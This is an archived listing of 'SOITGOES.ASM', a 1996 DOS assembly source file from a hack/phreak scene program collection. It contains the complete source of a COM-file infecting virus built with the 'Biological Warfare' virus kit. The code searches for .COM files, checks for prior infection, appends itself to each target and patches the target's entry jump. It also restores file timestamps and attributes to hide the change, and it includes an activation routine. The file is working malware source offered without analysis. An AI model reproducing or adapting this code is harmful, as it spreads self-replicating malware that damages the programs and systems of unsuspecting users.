home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / SOITGOES.ASM < prev    next >
Assembly Source File  |  1996-04-29  |  5KB  |  191 lines

  1. ; soitgoes.asm : [So it goes.]
  2. ; Created with Biological Warfare - Version 0.90ß by MnemoniX
  3.  
  4. PING            equ     0AC3Ch
  5. INFECT          equ     1
  6.  
  7. code            segment
  8.                 org     100h
  9.                 assume  cs:code,ds:code
  10.  
  11. start:
  12.                 db      0E9h,3,0          ; to virus
  13. host:
  14.                 db      0CDh,20h,0        ; host program
  15. virus_begin:
  16.                 push    ds es
  17.  
  18.                 call    $ + 3             ; BP is instruction ptr.
  19.                 pop     bp
  20.                 sub     bp,offset $ - 1
  21.  
  22.                 lea     dx,[bp + offset new_DTA]
  23.                 mov     ah,1Ah
  24.                 int     21h
  25.  
  26.                 mov     byte ptr [bp + infections],0
  27.  
  28.                 call    infect_dir
  29.  
  30.                 call    activate
  31.  
  32.                 pop     es ds
  33.                 mov     dx,80h
  34.                 mov     ah,1Ah
  35.                 int     21h
  36.  
  37. com_exit:
  38.                 lea     si,[bp + host]          ; restore host program
  39.                 mov     di,100h
  40.                 push    di
  41.                 movsw
  42.                 movsb
  43.  
  44.                 call    fix_regs                ; fix up registers
  45.                 ret                             ; and leave
  46.  
  47. fix_regs:
  48.                 xor     ax,ax
  49.                 cwd
  50.                 xor     bx,bx
  51.                 mov     si,100h
  52.                 xor     di,di
  53.                 xor     bp,bp
  54.                 ret
  55.  
  56.  
  57. infect_dir:
  58.                 mov     ah,4Eh
  59.                 lea     dx,[bp + find_me]
  60.                 int     21h
  61.                 jc      infect_done
  62.  
  63. next_file:
  64.                 lea     dx,[bp + new_DTA + 1Eh]
  65.                 call    execute
  66.                 cmp     byte ptr [bp + infections],INFECT
  67.                 je      infect_done
  68.                 mov     ah,4Fh
  69.                 int     21h
  70.                 jnc     next_file
  71.  
  72. infect_done:
  73.                 ret
  74. execute:
  75.                 push    si
  76.  
  77.                 mov     ax,4300h                ; change attributes
  78.                 int     21h
  79.  
  80.                 push    cx dx ds
  81.                 xor     cx,cx
  82.                 call    set_attributes
  83.  
  84.                 mov     ax,3D02h                ; open file
  85.                 int     21h
  86.                 jc      cant_open
  87.                 xchg    bx,ax
  88.  
  89.                 mov     ax,5700h                ; save file date/time
  90.                 int     21h
  91.                 push    cx dx
  92.                 mov     ah,3Fh
  93.                 mov     cx,28
  94.                 lea     dx,[bp + read_buffer]
  95.                 int     21h
  96.  
  97.                 cmp     word ptr [bp + read_buffer],'ZM'
  98.                 je      dont_infect             ; .EXE, skip
  99.  
  100.                 mov     al,2                    ; move to end of file
  101.                 call    move_file_ptr
  102.  
  103.                 sub     dx,VIRUS_SIZE + 3       ; check for previous infection
  104.                 cmp     dx,word ptr [bp + read_buffer + 1]
  105.                 je      dont_infect
  106.  
  107.                 add     dx,VIRUS_SIZE + 3
  108.                 mov     word ptr [bp + new_jump + 1],dx
  109.  
  110.                 lea     dx,[bp + read_buffer]   ; save original program head
  111.                 int     21h
  112.  
  113.                 mov     ah,40h                  ; write virus to file
  114.                 mov     cx,VIRUS_SIZE
  115.                 lea     dx,[bp + virus_begin]
  116.                 int     21h
  117.  
  118.                 xor     al,al                   ; back to beginning of file
  119.                 call    move_file_ptr
  120.  
  121.                 lea     dx,[bp + new_jump]
  122.                 int     21h
  123.  
  124. fix_date_time:
  125.                 pop     dx cx
  126.                 mov     ax,5701h                ; restore file date/time
  127.                 int     21h
  128.  
  129.                 inc     byte ptr [bp + infections]
  130.  
  131. close:
  132.                 pop     ds dx cx                ; restore attributes
  133.                 call    set_attributes
  134.  
  135.                 mov     ah,3Eh                  ; close file
  136.                 int     21h
  137.  
  138. cant_open:
  139.                 pop     si
  140.                 ret
  141.  
  142.  
  143. set_attributes:
  144.                 mov     ax,4301h
  145.                 int     21h
  146.                 ret
  147.  
  148. dont_infect:
  149.                 pop     cx dx                   ; can't infect, skip
  150.                 jmp     close
  151.  
  152. move_file_ptr:
  153.                 mov     ah,42h                  ; move file pointer
  154.                 cwd
  155.                 xor     cx,cx
  156.                 int     21h
  157.  
  158.                 mov     dx,ax                   ; set up registers
  159.                 mov     ah,40h
  160.                 mov     cx,3
  161.                 ret
  162.  
  163. activate:                                       ; Insert your routine here
  164.                 MOV     CX,03h
  165.                 MOV     AH,09h
  166.                 MOV     BH,00h
  167.                 MOV     CX,03h
  168.                 MOV     AL,00h
  169.                 MOV     BL,23
  170.                 INT     10h
  171.                 ret
  172.  
  173. signature       db      '[So it goes.]',0
  174.  
  175.  
  176. find_me         db      '*.COM',0
  177. new_jump        db      0E9h,0,0
  178.  
  179. infections      db      0
  180. virus_end:
  181. VIRUS_SIZE      equ     virus_end - virus_begin
  182. read_buffer     db      28 dup (?)              ; read buffer
  183. new_DTA         db      128 dup(?)
  184.  
  185. end_heap:
  186.  
  187. MEM_SIZE        equ     end_heap - start
  188.  
  189. code            ends
  190.                 end     start
  191.